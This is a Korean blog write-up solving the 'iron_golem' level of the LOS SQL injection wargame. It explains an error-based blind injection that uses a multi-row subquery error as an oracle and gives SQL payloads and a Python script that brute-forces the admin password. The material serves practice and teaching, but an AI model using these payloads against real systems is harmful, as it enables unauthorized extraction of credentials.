Web/LOS

LOS - iron_golem

cloudnaaam 2024. 10. 18. 21:46

21번째 문제 iron_golem 이다.

 

코드를 보면 sleep , benchmark 함수가 필터링 되어 있고, pw값을 정확히 구해야 한다.

 

이전 blind injection 문제들과 다른 점은, Hello admin 과 같은 출력 대신에 에러 페이지를 출력해준다는 점이다.

 

따라서 에러를 이용해 pw 값을 구해야 한다.

 

error based injection 을 할 때 가장 흔히 쓰는 함수는

  • extractvalue(문자, 쿼리)
  • updatexml(null, 쿼리, null)

이다.

 

위 함수들을 이용해 SQL의 if() 를 사용해서 거짓이면 에러가 뜨도록 쿼리를 짜보았다.

—> if 함수의 사용 포맷은 if(조건, 참, 거짓) 이다.

pw=' or id='admin' and if(length(pw)={},1,extractvalue('1',concat(0x3a,(select 'hihi?'))));-- -
pw=' or id='admin' and if(length(pw)={},1,updatexml(null,(select 'hihi??'),null));-- -

그런데 이 두 개를 넣으면 pw의 길이를 맞춰도 계속 에러가 뜬다.

 

왜인지 알아보니 애초에 extractvalue, updatexml 함수 자체가 일부러 에러가 나도록 값을 넣었기 때문에 if() 의 참, 거짓 상관 없이 무조건 에러가 뜨는 것이었다.

 

그래서 if() 의 반환값이 단일값이 아니면 에러가 뜨는 점을 이용했다.

—> if(조건, 참 반환값, 거짓 반환값) 일 때 반환값이 두 개 이상이면 에러가 뜬다.

pw=' or id='admin' and if(length(pw)={},1,(select 1 union select 2));-- -

이 쿼리를 넣으니 pw의 길이를 구할 수 있었다.

 

그 뒤로는 ascii() 를 이용해 pw값을 구할 수 있었다.

import requests

php = 'h3f5ptfm8b4nsjqe8o23jfji39'

for i in range(1,100):
    r = requests.get(url, params={'pw':f"?pw=' or id='admin' and if(length(pw)={i},1,(select 1 union select 2))-- -"},cookies={'PHPSESSID':php})
    # print(r.text)
    if "Subquery returns more than 1 row" not in r.text:
        print(f'password length --> {i}')
        break
password = ''

for i in range(1,33):
    for j in range(33,200):
        r = requests.get(url, params={'pw':f"' or id='admin' and if(ascii(substr(pw,{i},1))='{j}',1,(select 1 union select 2))-- -"},cookies={'PHPSESSID':php})
        # print(r.text)
        if "Subquery returns more than 1 row" not in r.text:
            password+=chr(j)
            print(password)
            break
print(password)

 

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - hell_fire  (0) 2024.10.18
LOS - dark-eyes  (0) 2024.10.18
LOS - dragon  (0) 2024.10.18
LOS - xavis  (0) 2024.10.18
LOS - nightmare  (0) 2024.10.18